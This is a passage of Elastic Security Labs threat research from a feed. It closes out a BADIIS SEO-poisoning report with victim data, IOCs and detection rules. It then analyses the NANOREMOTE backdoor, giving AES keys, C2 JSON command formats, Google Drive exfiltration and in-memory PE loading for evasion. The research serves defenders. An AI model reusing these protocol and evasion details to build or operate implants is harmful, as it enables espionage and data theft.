<li><code>https://jp.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://pk.jbtz001[.]com/lunlian/index.php</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image25.png" alt="Link farm content at https://vn404[.]gotz001[.]com/lunlian/index.php" /></p>
<p>Within the scope of REF4033, <strong>more than 1800 servers were impacted globally</strong>, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image28.png" alt="Victim infrastructure grouped by country &amp; ASN" /></p>
<p>The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (<code>.gov.cn</code>, <code>.gov.br</code>, <code>.gov.bd</code>, <code>.gov.vn</code>, <code>.gov.in</code>, <code>.leg.br</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image29.png" alt="Victim mapped via Geo IP" /></p>
<h2>REF4033 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1136/001/">Create Account: Local Account</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/011/">Hijack Execution Flow: Services Registry Permissions Weakness</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/002/">Obfuscated Files or Information: Software Packing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
</ul>
<h2>Remediating REF4033</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/initial_access_suspicious_microsoft_iis_worker_descendant.toml">Suspicious Microsoft IIS Worker Descendant</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Potential Privilege Escalation via Token Impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_privilege_escalation_via_seimpersonateprivilege.toml">Privilege Escalation via SeImpersonatePrivilege</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_direct_syscall_from_unsigned_module.toml">Direct Syscall from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_windows_service_dll_creation.toml">Suspicious Windows Service DLL Creation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_svchost_registry_modification.toml">Suspicious Svchost Registry Modification</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_security_account_manager_(sam)_registry_access.toml">Security Account Manager (SAM) Registry Access</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BadIIS.yar">Windows.Trojan.BadIIS</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/dc64ed57860f4a150c7d1fe33d645d69f384506e/yara/rules/Windows_Trojan_Generic.yar#L364">Windows.Trojan.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.exe</code></td>
<td align="left">Service Installer</td>
</tr>
<tr>
<td align="left"><code>2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>c2ff48cfa38598ad514466673b506e377839d25d5dfb1c3d88908c231112d1b2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>7f2987e49211ff265378349ea648498042cd0817e131da41156d4eafee4310ca</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>D_Safe_Manage.exe</code></td>
<td align="left">D-Shield Firewall</td>
</tr>
<tr>
<td align="left"><code>1b723a5f9725b607926e925d1797f7ec9664bb308c9602002345485e18085b72</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx2.sc</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes32.idx</code></td>
<td align="left">32-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>gotz003[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS config server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz003[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS config server (legacy)</td>
</tr>
<tr>
<td align="left"><code>gotz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud</a></li>
<li><a href="https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/">https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/</a></li>
<li><a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/photo-edited-05.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[NANOREMOTE, cousin of FINALDRAFT]]></title>
            <link>https://www.elastic.co/pt/security-labs/nanoremote</link>
            <guid>nanoremote</guid>
            <pubDate>Thu, 11 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[The fully-featured backdoor we call NANOREMOTE shares characteristics with malware described in REF7707 and is similar to the FINALDRAFT implant.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In October 2025, Elastic Security Labs discovered a newly-observed Windows backdoor in telemetry. The fully-featured backdoor we call NANOREMOTE shares characteristics with malware described in <a href="https://www.elastic.co/pt/security-labs/fragile-web-ref7707">REF7707</a> and is similar to the <a href="https://www.elastic.co/pt/security-labs/finaldraft">FINALDRAFT</a> implant.</p>
<p>One of the malware’s primary features is centered around shipping data back and forth from the victim endpoint using the <a href="https://developers.google.com/workspace/drive/api/guides/about-sdk">Google Drive API</a>. This feature ends up providing a channel for data theft and payload staging that is difficult for detection. The malware includes a task management system used for file transfer capabilities that include queuing download/upload tasks, pausing/resuming file transfers, canceling file transfers, and generating refresh tokens.</p>
<p>This report aims to enhance awareness among defenders and organizations regarding the threat actors we are monitoring and their evolving capabilities.</p>
<h3>Key takeaways</h3>
<ul>
<li>Elastic Security Labs discovers a new Windows backdoor</li>
<li>NANOREMOTE likely developed by espionage threat actor linked to FINALDRAFT and REF7707</li>
<li>NANOREMOTE includes command execution, discovery/enumeration and file transfer capabilities using Google Drive API</li>
<li>The backdoor integrates functionality from open-source projects including Microsoft Detours and libPeConv</li>
<li>Elastic Defend prevents the NANOREMOTE attack chain through behavioral rules, machine learning classifier, and memory protection features</li>
</ul>
<h2>NANOREMOTE analysis</h2>
<h3>WMLOADER</h3>
<p>The observed attack chain consists of two primary components, a loader (WMLOADER) and payload (NANOREMOTE). Although this report focuses on NANOREMOTE, we will describe the loader to provide context on the overall infection flow.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image25.png" alt="NANOREMOTE infection chain" /></p>
<p><a href="https://www.virustotal.com/gui/file/fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902/details">WMLOADER</a> masquerades as a Bitdefender Security program (<code>BDReinit.exe</code>) with an invalid digital signature.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image5.png" alt="WMLOADER File information" /></p>
<p>After execution, the program makes a large number of calls to Windows functions (<code>VirtualAlloc</code> / <code>VirtualProtect</code>), preparing the process to host embedded shellcode stored within the file. The shellcode is located at RVA (<code>0x193041</code>) and decrypted using a rolling XOR algorithm.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image21.png" alt="Shellcode unpacking" /></p>
<p>This shellcode looks for a file named <code>wmsetup.log</code> in the same folder path as WMLOADER then starts decrypting it using AES-CBC with a 16-byte ASCII key (<code>3A5AD78097D944AC</code>). After decryption, the shellcode executes the in-memory backdoor, NANOREMOTE.</p>
<p>Based on the previous shellcode decryption routine, we can identify other related samples targeting Bitdefender and Trend Micro products when searching in VirusTotal.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image43.png" alt="WMLOADER samples identified by shellcode decryption routine" /></p>
<h3>NANOREMOTE</h3>
<p>NANOREMOTE is a fully-featured backdoor that can be used to perform reconnaissance, execute files and commands, and transfer files to and from victim environments. The implant is a 64-bit Windows executable written in C++ without obfuscation.</p>
<h4>NANOREMOTE Configuration</h4>
<p>The NANOREMOTE sample we observed was preconfigured to communicate with a hard-coded non-routable IP address. We believe the program was generated from a builder as we do not see any cross-references pointing to a configuration setting.</p>
<p>For the Google Drive API authentication, NANOREMOTE uses a pipe-separated configuration that can use multiple clients. The <code>|*|</code> separator splits the fields used by a single client and the <code>|-|</code> is used as a marker to separate the clients. There are three fields per client structure:</p>
<ul>
<li>Client ID</li>
<li>Client Secret</li>
<li>Refresh Token</li>
</ul>
<p>Below is an example of the format:</p>
<p><code>Client_ID_1|*|Client_Secret_1|*|Refresh_Token_1|-|Client_ID_2|*|Client_Secret_2|*|Refresh_Token_2</code></p>
<p>The developer has a fallback mechanism to accept this configuration through an environment variable named <code>NR_GOOGLE_ACCOUNTS</code>.</p>
<h4>Interface/Logging</h4>
<p>NANOREMOTE provides a detailed console displaying the application's real-time activity, including timestamps, source code locations, and descriptions of its behaviors.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image17.png" alt="Console output" /></p>
<p>A new Windows directory is created in the same location where NANOREMOTE was executed, the folder is called <code>Log</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image16.png" alt="Log folder storing log file" /></p>
<p>A newly created log file (<code>pe_exe_run.log</code>) is dropped in this folder containing the same output printed from the console.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image37.png" alt="Log file contents" /></p>
<h4>Setup</h4>
<p>There is an initial setup routine by NANOREMOTE before the main worker loop starts. The malware generates a unique GUID via <code>CoCreateGuid</code> then hashes the GUID using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo (FNV</a>) function. This GUID is used by the operator to identify individual machines during each request.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image29.png" alt="GUID generation and FNV hashing" /></p>
<p>The malware developer has a process-wide crash handler to create a Windows minidump of the running process when an unhandled exception occurs, this is most likely being used to triage program crashes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image2.png" alt="TopLevelExceptionFilter function" /></p>
<p>The exception will produce the dump before terminating the process. This is a pretty standard practice although the <code>MiniDumpWithFullMemory</code> might be considered less common in legitimate software as it could end up producing larger sized dumps and contain sensitive data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image9.png" alt="Minidump generation" /></p>
<p>A quick Google search using the same string formatter for the dump file (<code>%d%02d%02d%02d%02d%02d_sv.dmp</code>) listed only 1 result from a Chinese-based software development <a href="https://blog.csdn.net/n_fly/article/details/80426268">website</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image42.png" alt="Google search results for string formatter from minidump function" /></p>
<h4>Network Communication</h4>
<p>As mentioned previously, NANOREMOTE’s C2 communicates with a hard-coded IP address. These requests occur over HTTP where the JSON data is submitted through POST requests that are Zlib compressed and encrypted with AES-CBC using a 16-byte key (<code>558bec83ec40535657833d7440001c00</code>). The URI for all requests use <code>/api/client</code> with User-Agent (<code>NanoRemote/1.0</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image45.png" alt="Packet capture showing NANOREMOTE C2 communication" /></p>
<p>Below is the CyberChef recipe used for the C2 encryption/compression:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image30.png" alt="CyberChef recipe for network communications" /></p>
<p>Each request prior to encryption, follows a schema consisting of:</p>
<ul>
<li><strong>Command ID</strong>: Associated command handler ID</li>
<li><strong>Data</strong>: Command-specific object containing key/value pairs required by the corresponding handler</li>
<li><strong>ID</strong>: Unique machine identifier assigned to the infected host</li>
</ul>
<p>Below is an example of a request that triggers execution of whoami via the command key inside the data object:</p>
<pre><code>{
    &quot;cmd&quot;: 21,
    &quot;data&quot;: {
        &quot;command&quot;: &quot;whoami&quot;
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<p>Each response follows a similar format using the previous fields along with two additional fields.</p>
<ul>
<li><strong>Output</strong>: Contains any output from the previously requested command handler</li>
<li><strong>Success</strong>: Boolean flag used to determine if command was successful or not</li>
</ul>
<p>Below is an example of the response from the previous whoami command:</p>
<pre><code>{
    &quot;cmd&quot;: 21,
    &quot;data&quot;: 0,
    &quot;id&quot;: 17235741656643013000,
    &quot;output&quot;: &quot;desktop-2c3iqho\\rem\r\n&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h4>Command Handlers</h4>
<p>NANOREMOTE’s main functionality is driven through its 22 command handlers. Below is a control-flow graph (CFG) diagram showcasing the switch statement used to dispatch the different handlers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image19.png" alt="Control flow graph showing command handlers" /></p>
<p>Below is the command handler table:</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">#1</td>
<td align="left">Collect host-based information</td>
</tr>
<tr>
<td align="left">#2</td>
<td align="left">Modify beacon timeout</td>
</tr>
<tr>
<td align="left">#3</td>
<td align="left">Self-termination</td>
</tr>
<tr>
<td align="left">#4</td>
<td align="left">List folder contents by path</td>
</tr>
<tr>
<td align="left">#5</td>
<td align="left">List folder contents by path and set working directory</td>
</tr>
<tr>
<td align="left">#6</td>
<td align="left">Get storage disk details</td>
</tr>
<tr>
<td align="left">#7</td>
<td align="left">Create new directory</td>
</tr>
<tr>
<td align="left">#8 #9</td>
<td align="left">Delete directory/files</td>
</tr>
<tr>
<td align="left">#10 #11</td>
<td align="left">Teardown (Clear cache, cleanup)</td>
</tr>
<tr>
<td align="left">#12</td>
<td align="left">PE loader - Execute PE from disk</td>
</tr>
<tr>
<td align="left">#13</td>
<td align="left">Set working directory</td>
</tr>
<tr>
<td align="left">#14</td>
<td align="left">Get working directory</td>
</tr>
<tr>
<td align="left">#15</td>
<td align="left">Move file</td>
</tr>
<tr>
<td align="left">#16</td>
<td align="left">Queue download task via Google Drive</td>
</tr>
<tr>
<td align="left">#17</td>
<td align="left">Queue upload task via Google Drive</td>
</tr>
<tr>
<td align="left">#18</td>
<td align="left">Pause download/upload transfer</td>
</tr>
<tr>
<td align="left">#19</td>
<td align="left">Resume download/upload transfer</td>
</tr>
<tr>
<td align="left">#20</td>
<td align="left">Cancel file transfer</td>
</tr>
<tr>
<td align="left">#21</td>
<td align="left">Command execution</td>
</tr>
<tr>
<td align="left">#22</td>
<td align="left">PE loader - Execute PE from memory</td>
</tr>
</tbody>
</table>
<h5>Handler #1 - Collect host-based information</h5>
<p>This handler enumerates system and user details to profile the victim environment:</p>
<ul>
<li>Uses <code>WSAIoctl</code> with <code>SIO_GET_INTERFACE_LIST</code> to retrieve internal and external IP address</li>
<li>Grabs username via <code>GetUserNameW</code></li>
<li>Retrieves the hostname via <code>GetComputerNameW</code></li>
<li>Checks if current user is member of Administrator group via <code>IsUserAnAdmin</code></li>
<li>Retrieves the process path used by the malware using <code>GetModuleFileNameW</code></li>
<li>Retrieves operating‑system information (product build) from the registry using the <code>WinREVersion</code> and <code>ProductName</code> value names</li>
<li>Gets process ID of running program via <code>GetCurrentProcessID</code></li>
</ul>
<p>Below is an example of the data sent to the C2 server:</p>
<pre><code>{
    &quot;cmd&quot;: 1,
    &quot;data&quot;: {
        &quot;Arch&quot;: &quot;x64&quot;,
        &quot;ExternalIp&quot;: &quot;&quot;,
        &quot;HostName&quot;: &quot;DESKTOP-2C3IQHO&quot;,
        &quot;ID&quot;: 8580477787937977000,
        &quot;InternalIp&quot;: &quot;192.168.1.1&quot;,
        &quot;OsName&quot;: &quot;Windows 10 Enterprise &quot;,
        &quot;ProcessID&quot;: 304,
        &quot;ProcessName&quot;: &quot;pe.exe&quot;,
        &quot;SleepTimeSeconds&quot;: 0,
        &quot;UID&quot;: 0,
        &quot;UserName&quot;: &quot;REM *&quot;
    },
    &quot;id&quot;: 8580477787937977000
}
</code></pre>
<h5>Handler #2 - Modify beacon timeout</h5>
<p>This handler modifies the beacon timeout interval for NANOREMOTE’s C2 communication, the malware will sleep based on the number of seconds provided by the operator.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image26.png" alt="Beacon timeout adjusted" /></p>
<p>Below is an example of this request where NANOREMOTE uses the key (<code>interval</code>) with a value (<code>5</code>) to modify the beacon timeout to 5 seconds.</p>
<pre><code>{
    &quot;cmd&quot;: 2,
    &quot;data&quot;: {
        &quot;interval&quot;: 5
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<h5>Handler #3 - Self-termination</h5>
<p>This handler is responsible for setting a global variable to 0 effectively signaling the teardown and process exit for NANOREMOTE.</p>
<h5>Handler #4 - List folder contents by path</h5>
<p>This handler lists the folder contents using a provided file path from the operator. The listing for each item includes:</p>
<ul>
<li>Whether the item is a directory or not</li>
<li>Whether the item is marked as hidden</li>
<li>Last modified date</li>
<li>File name</li>
<li>Size</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image28.png" alt="Folder directory enumeration" /></p>
<h5>Handler #5 - List folder contents and set working directory</h5>
<p>This handler uses the same code as the previous handler (#4), the only difference is that it sets the current working directory of the process to the provided path as well.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image40.png" alt="Sets current working directory" /></p>
<h5>Handler #6 - Get Storage Disk Info</h5>
<p>This handler uses the following Windows API functions to collect storage disk information from the machine:</p>
<ul>
<li>GetLogicalDrives</li>
<li>GetDiskFreeSpaceExW</li>
<li>GetDriveTypeW</li>
<li>GetVolumeInformationW</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image23.png" alt="Storage disk info printed from console" /></p>
<p>Below is an example of the request in JSON showing the data returned:</p>
<pre><code>{
    &quot;cmd&quot;: 6,
    &quot;data&quot;: {
        &quot;items&quot;: [
            {
                &quot;free&quot;: 26342813696,
                &quot;name&quot;: &quot;C:&quot;,
                &quot;total&quot;: 85405782016,
                &quot;type&quot;: &quot;Fixed&quot;
            }
        ]
    },
    &quot;id&quot;: 16873875158734957000,
    &quot;output&quot;: &quot;&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h5>Handler #7 - Create new folder directory</h5>
<p>This command handler creates a new directory based on a provided path.</p>
<h5>Handler #8, #9 - Delete file, directory</h5>
<p>This handler supports both #8 and #9 command ID’s, the branching is dynamically chosen based on the provided file path. It has the ability to delete files or a specified folder.</p>
<h5>Handler #10, #11 - Teardown/Cleanup</h5>
<p>These two handlers call the same teardown function using different arguments to recursively release heap allocations, internal C++ objects, and cached data associated with the malware’s runtime. This purpose is to clean up the command structures and prevent memory leaks or instability.</p>
<h5>Handler #12 - Custom PE Loader - Execute PE from disk</h5>
<p>This handler includes a custom PE loading capability for files that exist on disk. This functionality leverages standard Windows APIs along with helper code from library <a href="https://github.com/hasherezade/libpeconv">libPeConv</a> to load PE files from disk without using the traditional Windows loader.</p>
<p>In short, it will read a PE file from disk, copy the file into memory, manually map the sections/headers, preparing the file before finally executing it in memory. This implementation is a deliberate technique for stealth and evasion bypassing user-mode hooking and traditional visibility. As one example, when a file is executed through this technique, there is no trace of this executable being launched using procmon.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image20.png" alt="NANOREMOTE loading PE file from disk into memory" /></p>
<p>Below is the following input for this handler where the local file path is provided under the key (args):</p>
<pre><code>{
    &quot;cmd&quot;: 12,
    &quot;data&quot;: {
        &quot;args&quot;: &quot;C:\\tmp\\mare_test.exe&quot;
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<p>The following screenshot shows successful execution of our test executable using this technique:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image3.png" alt="LoadAndExecutePE command handler used on test" /></p>
<p>During this analysis, one interesting note is the adoption of the libPeConv <a href="https://github.com/hasherezade/libpeconv">library</a>, this is a great and useful project that we ourselves use internally for various malware-related tasks. The developer of NANOREMOTE uses several functions from this library to simplify common tasks related to manually loading and executing PE files in memory. Below are the functions used by the library found in NANOREMOTE:</p>
<ul>
<li>
<p>default_func_resolver: Resolves functions in a PE file by dynamically loading DLLs and retrieving the addresses of exported functions.</p>
</li>
<li>
<p>hooking_func_resolver: Retrieve the virtual address of a function by name from a loaded DLL.</p>
</li>
<li>
<p>FillImportThunks: Populates the import table by resolving each imported function to its actual address in memory.</p>
</li>
<li>
<p>ApplyRelocCallback: Applies base relocations when a PE file is loaded at an address different from its preferred base.</p>
</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image32.png" alt="Run-Time Type Information within NANOREMOTE showing LibPeConv" /></p>
<p>Another notable observation in this handler is the use of the open-source hooking library, <a href="https://github.com/microsoft/Detours">Microsoft Detours</a>. This library is used to intercept the following Windows functions:</p>
<ul>
<li>GetStdHandle</li>
<li>RtlExitUserThread</li>
<li>RtlExitUserProcess</li>
<li>FatalExit</li>
<li>ExitProcess</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image27.png" alt="Setting up hooking via Microsoft Detours" /></p>
<p>This runtime hooking routine intercepts termination‑related functions to enforce controlled behavior and improve resiliency. For example, NANOREMOTE prevents a failure in a single worker thread from terminating the entire NANOREMOTE process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image8.png" alt="Hooked FatalExit function" /></p>
<h5>Handler #13 - Set working directory</h5>
<p>This handler sets the working directory to a specific directory using the key (path). Below is an example request:</p>
<pre><code>{
    &quot;cmd&quot;: 13,
    &quot;data&quot;: {
        &quot;path&quot;: &quot;C:\\tmp\\Log&quot;
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<h5>Handler #14 - Get working directory</h5>
<p>This handler retrieves the current working directory, below is an example response after setting the directory with previous handler (#13).</p>
<pre><code>{
    &quot;cmd&quot;: 14,
    &quot;data&quot;: 0,
    &quot;id&quot;: 11010639976590963000,
    &quot;output&quot;: &quot;[+] pwd output:\r\nC:\\tmp\\Log\r\n&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h5>Handler #15 - Move File</h5>
<p>This handler allows the operator to move files around the victim machine using MoveFileExW with two arguments (old_path, new_path) moving the file to a different folder by performing a copy and delete file operation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image18.png" alt="Moving files via MoveFileExW" /></p>
<h5>Handler #16 - Queue Download Task</h5>
<p>This handler creates a download task object with a provided task_id then enqueues the task into the download queue. This implementation uses OAuth 2.0 tokens to authenticate requests to the Google Drive API. This functionality is used by the threat actor to download files to the victim machine. The encrypted communication to Google’s servers makes this traffic appear legitimate, leaving organizations unable to inspect or differentiate it from normal use.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image35.png" alt="Task added to queue" /></p>
<p>Inside the main worker thread, there is a global variable used to track queue objects and process the awaiting tasks by the malware.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image31.png" alt="Processing download tasks from the queue" /></p>
<p>A task is processed using various fields provided by the C2 server:</p>
<ul>
<li>type</li>
<li>task_id</li>
<li>file_id</li>
<li>target_path</li>
<li>file_size</li>
<li>md5</li>
</ul>
<p>When a download task is processed, NANOREMOTE will retrieve the size of the file hosted on Google Drive using the file ID (1BwdUSIyA3WTUrpAEEDhG0U48U9hYPcy7). Next, the malware will download the file via WinHttpSendRequest then use WinHttpWriteData to write the file on the machine.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image7.png" alt="Fiddler session showing download from Google Drive" /></p>
<p>Below is the console output showing this download process:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image14.png" alt="Downloading file from Google Drive using tasking system" /></p>
<p>This malware feature poses a unique challenge for organizations as threat groups continue to abuse trusted cloud platforms for data exfiltration and payload hosting. This traffic without any context can easily blend in with legitimate traffic making detection difficult for defenders who rely on network visibility.</p>
<h5>Handler #17 - Queue Upload Task</h5>
<p>This handler works in similar fashion as the previous handler (#16), instead it is creating an upload queue task and enqueuing the task into the upload queue. This handler is used by the threat actor to upload files from the victim machine to the adversary’s controlled Google Drive account.</p>
<p>The following fields are provided by the operator through the C2 server:</p>
<ul>
<li><code>type</code></li>
<li><code>task_id</code></li>
<li><code>upload_name</code></li>
<li><code>source_path</code></li>
<li><code>file_size</code></li>
<li><code>md5</code></li>
</ul>
<p>Below is the network traffic generated by the malware when uploading a test file via the Google Drive API (<code>/upload/drive/v3/files</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image33.png" alt="Fiddler session showing upload to Google Drive" /></p>
<p>The below figure shows the console during this upload process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image15.png" alt="Console output showing file upload success" /></p>
<p>Below is a screenshot of the previous demonstration using the file upload feature with our own Google Drive test account.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image38.png" alt="Uploaded file in Google Drive" /></p>
<p>Below is the response from this handler:</p>
<pre><code>{
    &quot;cmd&quot;: 17,
    &quot;data&quot;: {
        &quot;file_id&quot;: &quot;1qmP4TcGfE2xbjYSlV-AVCRA96f6Kp-V7&quot;,
        &quot;file_name&quot;: &quot;meow.txt&quot;,
        &quot;file_size&quot;: 16,
        &quot;md5&quot;: &quot;1e28c01387e0f0229a3fb3df931eaf80&quot;,
        &quot;progress&quot;: 100,
        &quot;status&quot;: &quot;uploaded&quot;,
        &quot;task_id&quot;: &quot;124&quot;
    },
    &quot;id&quot;: 4079875446683087000,
    &quot;output&quot;: &quot;&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h5>Handler #18 - Pause download/upload transfer</h5>
<p>This handler allows the operator to pause any download and upload tasks managed by NANOREMOTE by passing the task_id.</p>
